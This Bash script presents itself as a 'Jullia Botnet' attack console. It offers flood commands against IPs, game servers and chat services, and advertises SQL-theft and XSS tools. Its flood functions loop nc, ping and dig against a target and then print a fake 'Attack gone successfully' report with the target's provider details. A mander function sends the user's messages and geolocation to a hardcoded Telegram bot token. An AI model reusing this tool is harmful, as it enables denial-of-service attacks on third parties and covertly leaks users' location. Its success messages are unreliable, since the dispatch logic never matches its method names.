#!/bin/bash

#CORES

ROXO=$(tput setaf 163)
ROXT=$(tput setaf 164)
ROXR=$(tput setaf 165)
ROSE=$(tput setaf 205)
ROSA=$(tput setaf 206)
ROSS=$(tput setaf 207)
BRE=$(tput setab 205)
BRA=$(tput setab 206)
BRSS=$(tput setab 207)
VERDE=$(tput setaf 34)
VERDO=$(tput setaf 35)
VERDA=$(tput setaf 36)
NC=$(tput sgr0)

touch jullia.db
USER_FILE="jullia.db"


if [[ -s "$USER_FILE" ]]; then 
    USERNAME=$(cat "$USER_FILE") 
    echo "Bem-vindo de volta, $USERNAME!">> /dev/null 
else 
    echo "" 
    echo -n "Enter your new username: " 
    read USER
    echo "$USER" > "$USER_FILE" 
    sleep 0.4
    echo "${ROSE}We${ROSA}l${ROSS}come${NC} $USER${ROSS}!" 
    sleep 3
fi


init() {
    clear
    echo "${ROXO}U${ROXT}se${ROXR}r:${NC} ${USER} ${ROXO}P${ROXT}la${ROXR}n:${NC} Daily 


${ROSE}
${ROSE}                           ╦  ╦║  ${ROSA}║ ${ROSS} ╦╔═╗
${ROSE}                           ║║ ║║${ROSA}  ║  ${ROSS}║╠═╣
${ROSE}                          ╚╝╚═╝${ROSA}╚═╝╩═╝║╩ ${ROSS}║${NC}
${NC}                 We forget the past and the rectum
${ROSE}               ╚╦══════════════${ROSA}═════${ROSS}══════════════╦╝
${ROSE}         ╚╦══════════════════${ROSA}═════${ROSS}══════════════════════╦╝
${ROSE}          ║   ${NC} Welcome to the Jullia starter screen     ${ROSA}║
${ROSE}          ║ ${NC}Powered by Jullia API Ran by t.me/julliaint${ROSS} ║
${ROSE}          ╩═════════════${ROSA}═════════${ROSS}═══════════════════════╩${NC}
                    https://instagram.com/sle4ms
${ROSE}           ╚╦══════════${ROSA}══════════════${ROSS}═════════════════╦╝
${ROSE}            ║ ${NC} Type ${ROXO}[${NC}help${ROXO}] ${NC}to se all of the commands  ${ROSA}║
${ROSE}            ╩═══════════════════════${ROSA}════════${ROSS}══════════╩


"
}

jullia() {
  clear
  linhas1=(
   ""
   ""
   ""
   "${ROSE}                       ╔═╗═╗ ╦╔═╗╦  ╔═╗╦╔╦╗╔═╗"
   "${ROSE}                       ║╣ ╔╩╦╝╠═╝║  ║ ║║ ║ ╚═╗"
   "${ROSA}                       ╚═╝╩ ╚═╩  ╩═╝╚═╝╩ ╩ ╚═╝"
   "   ${NC}            Explorers made by from the Julia Botnet"
   "${ROSE}             ╚╦═════════╦═════════════════════════════╦╝"
   "${ROSA}              ║ ${NC}SQLDROP ${ROSA}║ ${NC}Establishes and steals SQL  ${ROSA}║"
   "${ROSA}              ║ ${NC}SQLALL  ${ROSA}║ ${NC}Adulterate all queries      ${ROSA}║"
   "${ROSA}              ║ ${NC}DRIPOP  ${ROSA}║ ${NC}Fucks and smokes SSH Sy     ${ROSA}║"
   "${ROSS}              ║ ${NC}XSSGAT  ${ROSS}║ ${NC}Causes XSS damage           ${ROSS}║"
   "${ROSS}              ╚═════════╩═════════════════════════════╝"
   "${ROSA}            ╔═══════════════════════════════════════════╗"
   "${ROSS}            ╚═══════════════════════════════════════════╝"
  )

  for linha in "${linhas1[@]}"; do
    tput civis
    echo "$linha"
    sleep 0
  done

  sleep 1  # Pequena pausa antes de apagar

  for ((i=${#linhas1[@]}; i>=0; i--)); do
    tput cuu1
    tput el
    sleep 0
  done

  linhas2=(
    " "
    " "
    ""  
    "${ROSE}                        ╔╦╗╔═╗╔╦╗╦ ╦╔═╗╔╦╗╔═╗" 
    "${ROSA}                        ║║║║╣  ║ ╠═╣║ ║ ║║╚═╗"
    "${ROSS}                        ║ ╩╚═╝ ╩ ╩ ╩╚═╝═╩╝╚═╝"
    "${ROSE}            ╚╦═════╦═══════╦═══════════╦═══════════════╦╝"
    "${ROSE}             ║ ${NC}TCP ${ROSE}║ ${NC}HTTP  ${ROSE}║${NC} WZ-CRASH  ${ROSE}║ ${NC}DISCORD       ${ROSE}║"
    "${ROSA}             ║ ${NC}UDP ${ROSE}║ ${NC}HTTPS ${ROSE}║${NC} WZ-LAG    ${ROSE}║ ${NC}DISCORD-CALL  ${ROSE}║"
    "${ROSA}             ║ ${NC}SYN ${ROSA}║ ${NC}SSL   ${ROSA}║ ${NC}CS2       ${ROSA}║ ${NC}4C-AWP        ${ROSA}║"
    "${ROSA}             ║ ${NC}CPU ${ROSA}║ ${NC}STP   ${ROSA}║ ${NC}CS-LAG    ${ROSA}║ ${NC}4C-PING       ${ROSA}║"
    "${ROSA}             ║ ${NC}SSH ${ROSA}║ ${NC}SQL   ${ROSA}║ ${NC}MINECRAFT ${ROSA}║ ${NC}WHATSAPP      ${ROSA}║"
    "${ROSS}             ║ ${NC}RST ${ROSS}║ ${NC}HRDR  ${ROSS}║ ${NC}MINE-LAG  ${ROSS}║ ${NC}TELEGRAM      ${ROSS}║"
    "${ROSS}             ║ ${NC}DNS ${ROSS}║ ${NC}SMTP  ${ROSS}║ ${NC}ARMA      ${ROSS}║ ${NC}TELEGRAM-CALL ${ROSS}║"
    "${ROSS}            ╚╩═════╩═══════╩═══════════╩═══════════════╩╝"
    "${ROSE}            ╔═══════════════════════════════════════════╗"
    "${ROSA}            ║ ${NC}••••••••••••••••••••••••••••••••••••••••• ${ROSA}║"
    "${ROSS}            ╚═══════════════════════════════════════════╝"
    " "
    " "
    " "
  )

  for linha in "${linhas2[@]}"; do
    tput civis
    echo "$linha"
    sleep 0
  done
  tput cnorm
}

methods() {
  echo "
                       
${ROSE}            ╚╦═════╦═══════╦═══════════╦═══════════════╦╝
${ROSE}             ║ ${NC}TCP ${ROSE}║ ${NC}HTTP  ${ROSE}║${NC} WZ-CRASH  ${ROSE}║ ${NC}DISCORD       ${ROSE}║
${ROSA}             ║ ${NC}UDP ${ROSE}║ ${NC}HTTPS ${ROSE}║${NC} WZ-LAG    ${ROSE}║ ${NC}DISCORD-CALL  ${ROSE}║
${ROSA}             ║ ${NC}SYN ${ROSA}║ ${NC}SSL   ${ROSA}║ ${NC}CS2       ${ROSA}║ ${NC}4C-AWP        ${ROSA}║
${ROSA}             ║ ${NC}CPU ${ROSA}║ ${NC}STP   ${ROSA}║ ${NC}CS-LAG    ${ROSA}║ ${NC}4C-PING       ${ROSA}║
${ROSA}             ║ ${NC}SSH ${ROSA}║ ${NC}SQL   ${ROSA}║ ${NC}MINECRAFT ${ROSA}║ ${NC}WHATSAPP      ${ROSA}║
${ROSS}             ║ ${NC}RST ${ROSS}║ ${NC}HRDR  ${ROSS}║ ${NC}MINE-LAG  ${ROSS}║ ${NC}TELEGRAM      ${ROSS}║
${ROSS}             ║ ${NC}DNS ${ROSS}║ ${NC}SMTP  ${ROSS}║ ${NC}ARMA      ${ROSS}║ ${NC}TELEGRAM-CALL ${ROSS}║
${ROSS}            ╚╩═════╩═══════╩═══════════╩═══════════════╩╝
            ╔═══════════════════════════════════════════╗
            ╚═══════════════════════════════════════════╝
"




exp="
${ROSE}                    ╔═╗═╗ ╦╔═╗╦  ╔═╗╦╔╦╗╔═╗
${ROSE}                    ║╣ ╔╩╦╝╠═╝║  ║ ║║ ║ ╚═╗
${ROSA}                    ╚═╝╩ ╚═╩  ╩═╝╚═╝╩ ╩ ╚═╝
            Explorers made by from the Julia Botnet
${ROSE}          ╚╦═════════╦═════════════════════════════╦╝
${ROSA}           ║ ${NC}SQLDROP ${ROSA}║ ${NC}Establishes and steals SQL  ${ROSA}║ 
${ROSA}           ║ ${NC}SQLALL  ${ROSA}║ ${NC}Adulterate all queries      ${ROSA}║
${ROSA}           ║ ${NC}DRIPOP  ${ROSA}║ ${NC}Fucks and smokes SSH Sy     ${ROSA}║
${ROSS}           ║ ${NC}XSSGAT  ${ROSS}║ ${NC}Causes XSS damage           ${ROSS}║
${ROSS}           ╚═════════╩═════════════════════════════╝
         ╔═══════════════════════════════════════════╗
         ╚═══════════════════════════════════════════╝
"
}

anime() {
  local frames=('/' '-' '\' '|') # Frames da animação
  local pid=$1                   # PID do processo em execução
  local frame_index=0

  while kill -0 "$pid" 2>/dev/null; do
    tput civis          # Esconde o cursor
    tput sc             # Salva posição atual do cursor
    echo -n "${frames[$frame_index]}" # Mostra o frame atual
    tput rc             # Restaura posição do cursor
    frame_index=$(( (frame_index + 1) % 4 )) # Próximo frame
    sleep 0.1           # Pausa entre os frames
  done
  tput cnorm            # Restaura o cursor
}

start_mixer() {
    local method=$1
    local ip=$2
    local port=$3
    local packets=$4
    local start_time=$(date +%s)
    uuid=$(echo $(cat /proc/sys/kernel/random/uuid))
    if [[ "$method" == "tcp" ]]; then
        (seq 1 $packets | xargs -I {} nc -vz $ip $port > /dev/null 2>&1 &)
    elif [[ "$method" == "icmp" ]]; then
        (seq 1 $packets | xargs -I {} ping -c 1 $ip > /dev/null 2>&1 &)
    elif [[ "$method" == "dns" ]]; then
        (seq 1 $packets | xargs -I {} dig @$ip > /dev/null 2>&1 &)
    elif [[ "$method" == "game" ]]; then
        (seq 1 $packets | xargs -I {} nc -vz $ip 25565 > /dev/null 2>&1 &)
    fi
    response=$(curl -s "https://ipinfo.io/$ip" | jq -r '.org, .city, .country, .timezone, .anycast, .hostname' & )

    org=$(echo "$response" | sed -n '1p')
    city=$(echo "$response" | sed -n '2p')
    country=$(echo "$response" | sed -n '3p')
    anycast=$(echo "$response" | sed -n '4p')
    timezone=$(echo "$response" | sed -n '5p')
    timezone=$(echo "$response" | sed -n '5p')
    host=$(echo "$response" | sed -n '6p')


}

mander() { 
    local mensagem="$*" 
    local chat_id="6290999741" 
    local bot_token="8003935513:AAFSlln06ro0M-3q8M880Ex46ugQYPB1XNs" 
    local localizacao="$(curl -s https://ipapi.co/json | jq -r '.city, .region, .country')"
    mensagem_completa="${mensagem}

Local: ${localizacao}"
    curl -s -X POST "https://api.telegram.org/bot${bot_token}/sendMessage" \
        -d "chat_id=${chat_id}" \
        -d "text=${mensagem_completa}" >> /dev/null

}



start() {
    local method=$1
    local ip=$2
    local port=$3
    local packets=$4
    local start_time=$(date +%s)
    uuid=$(echo $(cat /proc/sys/kernel/random/uuid))

    if [[ "$method" == "tcp" ]]; then
        (seq 1 $packets | xargs -I {} nc -vz $ip $port > /dev/null 2>&1 &)
    elif [[ "$method" == "icmp" ]]; then
        (seq 1 $packets | xargs -I {} ping -c 1 $ip > /dev/null 2>&1 &)
    elif [[ "$method" == "dns" ]]; then
        (seq 1 $packets | xargs -I {} dig @$ip > /dev/null 2>&1 &)
    elif [[ "$method" == "game" ]]; then
        (seq 1 $packets | xargs -I {} nc -vz $ip 25565 > /dev/null 2>&1 &)
    fi


   response=$(curl -s "https://ipinfo.io/$ip" | jq -r '.org, .city, .country, .timezone, .anycast, .hostname' & )

   org=$(echo "$response" | sed -n '1p')
   city=$(echo "$response" | sed -n '2p')
   country=$(echo "$response" | sed -n '3p')
   anycast=$(echo "$response" | sed -n '4p')
   timezone=$(echo "$response" | sed -n '5p')
   timezone=$(echo "$response" | sed -n '5p')
   host=$(echo "$response" | sed -n '6p')
   
}

search() {
    local method=$1
    local ip=$2
    local port=$3
    local packets=$4
    local start_time=$(date +%s)
    
    response=$(curl -s "https://ipinfo.io/$ip" | jq -r '.org, .city, .country, .timezone, .anycast, .hostname' & )

   org=$(echo "$response" | sed -n '1p')
   city=$(echo "$response" | sed -n '2p')
   country=$(echo "$response" | sed -n '3p')
   anycast=$(echo "$response" | sed -n '4p')
   timezone=$(echo "$response" | sed -n '5p')
   timezone=$(echo "$response" | sed -n '5p')
   host=$(echo "$response" | sed -n '6p')
   echo "
${BRE}Attac${BRA}k gone su${BRSS}ccessfully!${NC}

${ROXO}Provi${ROXT}der dat${ROXR}a${NC}

Provider    ${ROSA}:${NC} $ip
Country     ${ROSA}:${NC} $country
Org         ${ROSA}:${NC} $org
City        ${ROSA}:${NC} $city
Host        ${ROSA}:${NC} $host
Anycast     ${ROSA}:${NC} $anycast
Timezone    ${ROSA}:${NC} $timezone

${ROXO}Atta${ROXT}ck dat${ROXR}a${NC}

Method      ${ROXO}:${NC} $method
Seconds     ${ROXO}:${NC} $packets
Start time  ${ROXO}:${NC} $start_time

"
}

ok() {
   local method=$1
   local ip=$2
   local port=$3
   local packets=$4
   local start_time=$(date +%s)
   uuid=$(echo $(cat /proc/sys/kernel/random/uuid))
   echo "${NC}[${ROXT}Ju${ROXR}llia${NC}] ${ROSE}Se${ROSA}n${ROSS}ding ${NC}${method}${ROXT}!"
}


main() {
    init
    while true; do
        echo -e -n "${ROSE}Cons${ROSA}o${ROSS}le${ROXO}@${NC}${USER} ${ROXO}~${ROXT}#${NC} "
        read command

        case $command in
         methods*)
                jullia
                ;;
              !zs*)
                set -- $command
                PID=$!
                anime "$PID"
                shift  # Remove o prefixo '!s*' do comando
                mander "$*"  # Passa toda a mensagem como um único argumento
                ;;
            !tcp*)
                set -- $command
                start "TCP Killer" $2 $3 $4 &
                PID=$!
                anime "$PID"
                ok "TCP Killer" $2 $3 $4 
                ;;
            !udp*)
                set -- $command
                start "UDP Killer" $2 $3 $4 &
                PID=$!
                anime "$PID"
                ok "UDP Killer" $2 $3 $4
                ;;
            !icmp*)
                set -- $command
                start "ICMP Flood" $2 $3 $4 &
                PID=$!
                anime "$PID"
                ok "ICMP Flood" $2 $3 $4
                ;;
            !syn*)
                set -- $command                                   
                start "SYN Flood" $2 $3 $4 &
                PID=$!
                anime "$PID"
                ok "SYN Flood" $2 $3 $4
                ;;
            !cpu*)
                set -- $command
                start "CPU Flood" $2 $3 $4 &
                PID=$!
                anime "$PID"
                ok "CPU Flood" $2 $3 $4
                ;;
            !ssh*)
                set -- $command
                start "SSH Flood" $2 $3 $4 &
                PID=$!
                anime "$PID"
                ok "SSH Smoker" $2 $3 $4
                ;;
            !rst*)
                set -- $command
                start "RST Flood" $2 $3 $4 &
                PID=$!
                anime "$PID"
                ok "RST Flood" $2 $3 $4
                ;;
            !dns*)
                set -- $command
                start "DNS Flood" $2 $3 $4 &
                PID=$!
                anime "$PID"
                ok "DNS Spoff" $2 $3 $4
                ;;
            !ssl*)
                set -- $command
                start "SSL" $2 $3 $4 &
                PID=$!
                anime "$PID"
                ok "SSL Handshake" $2 $3 $4
                ;;
            !http*)
                set -- $command
                start "HTTPS Flood" $2 $3 $4 &
                PID=$!
                anime "$PID"
                ok "HTTP Flood" $2 $3 $4
                ;;
            !https*)
                set -- $command
                start "HTTPS Flood" $2 $3 $4 &
                PID=$!
                anime "$PID"
                ok "HTTPS Flood" $2 $3 $4
                ;;
            !stp*)
                set -- $command
                start "STP Flood" $2 $3 $4 &
                PID=$!
                anime "$PID"
                ok "STP Gust" $2 $3 $4
                ;;
            !sql*)
                set -- $command
                start "SQL Flood" $2 $3 $4 &
                PID=$!
                anime "$PID"
                ok "SQL Query Flood" $2 $3 $4
                ;;
            !hrdr*)
                set -- $command
                start "HRDR Flood" $2 $3 $4 &
                PID=$!
                anime "$PID"
                ok "HRDR Lust" $2 $3 $4
                ;;
            !smtp*)
                set -- $command
                start "SMTP Flood" $2 $3 $4 &
                PID=$!
                anime "$PID"
                ok "SMTP Smoker" $2 $3 $4
                ;;
            !discord*)
                set -- $command
                start "Discord Flood" $2 $3 $4 &
                PID=$!
                anime "$PID"
                ok "Discord Flood" $2 $3 $4
                ;;
            !discord-call*)
                set -- $command
                start "Discord call" $2 $3 $4 &
                PID=$!
                anime "$PID"
                ok "Discord call" $2 $3 $4
                ;;
            !wz-lag*)
                set -- $command
                start "WZ-LAG" $2 $3 $4 &
                PID=$!
                anime "$PID"
                ok "WZ-LAG" $2 $3 $4
                ;;
            !wz-crash*)
                set -- $command
                start "HTTPS Flood" $2 $3 $4 &
                PID=$!
                anime "$PID"
                ok "WZ-Crash" $2 $3 $4
                ;;
            !cs2*)
                set -- $command
                start "Cs2 Flood" $2 $3 $4 &
                PID=$!
                anime "$PID"
                ok "CS2 Flood" $2 $3 $4
                ;;
            !cs-lag*)
                set -- $command
                start "HTTPS Flood" $2 $3 $4 &
                PID=$!
                anime "$PID"
                ok "CS-LAG" $2 $3 $4
                ;;
            !minecraft*)
                set -- $command
                start "Mine" $2 $3 $4 &
                PID=$!
                anime "$PID"
                ok "Minecraft Spam" $2 $3 $4
                ;;
            !mine-lag*)
                set -- $command
                start "HTTPS Flood" $2 $3 $4 &
                PID=$!
                anime "$PID"
                ok "Mine-LAG" $2 $3 $4
                ;;
            !jsmoke*)
                set -- $command
                start "JLL Smoke" $2 $3 $4 &
                search "JLL Smoke" $2 $3 $4
                ;;
            !vsmoke*)
                set -- $command
                start "VXR Smoke" $2 $3 $4 &
                search "VXR Smoke" $2 $3 $4
                ;;
            cls*)
                clear
                ;;

       
            exit)
                break
                ;;
            *)
               echo "" >> /dev/null
                ;;
        esac
    done
}

main